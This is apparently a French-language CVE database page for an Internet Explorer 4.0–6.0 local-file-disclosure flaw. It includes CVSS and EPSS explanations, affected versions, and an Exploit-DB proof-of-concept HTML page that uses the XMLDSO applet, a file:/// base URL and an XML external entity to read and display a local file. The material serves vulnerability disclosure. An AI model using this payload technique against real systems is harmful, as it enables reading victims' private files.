Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
Internet Explorer 4.0 and later allows remote attackers to read arbitrary files via a web page that accesses a legacy XML Datasource applet (com.ms.xml.dso.XMLDSO.class) and modifies the base URL to point to the local system, which is trusted by the applet.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 6.4 | AV:N/AC:L/Au:N/C:P/I:P/A:N | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 21721
Date de publication : 2002-08-16 22h00 +00:00
Auteur : Jelmer
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/5490/info
A problem in Microsoft Internet Explorer could lead to the disclosure of sensitive information.
Due to the design of the datasource applet, it may be possible for a user to view the contents of local files via a remote page. By building a custom-crafted page that specifies the code base as the local system, it would be possible to display the contents of known local files.
<html>
<head>
<base href="file:///C:/">
</head>
<body>
<applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso" MAYSCRIPT="true">
<?xml version="1.0"?>
<!DOCTYPE file [
<!ELEMENT file (#PCDATA) >
<!ENTITY contents SYSTEM "file:///C:/jelmer.txt">
]>
<file>
&contents;
</file>
</applet>
<script language="javascript">
setTimeout("showIt()",2000);
function showIt() {
var jelmer = xmldso.getDocument();
alert(jelmer.Text);
}
</script>
</body>
</html>
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 4.0
- Microsoft>>Internet_explorer >> Version 4.0 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 4.0.1
- Microsoft>>Internet_explorer >> Version 4.0.1 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 4.0.1 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 4.0.1 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 4.0.1
- Microsoft>>Internet_explorer >> Version 4.0.1 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.0
- Microsoft>>Internet_explorer >> Version 5.0 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.0.1
- Microsoft>>Internet_explorer >> Version 5.0.1 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.0.1 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.0.1 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.0.1 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.0.1 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.0.1
- Microsoft>>Internet_explorer >> Version 5.0.1 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.0.1
- Microsoft>>Internet_explorer >> Version 5.0.1 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.5
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.5
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.5
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 6.0
- Microsoft>>Internet_explorer >> Version 6.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6.0 (Open CPE detail)
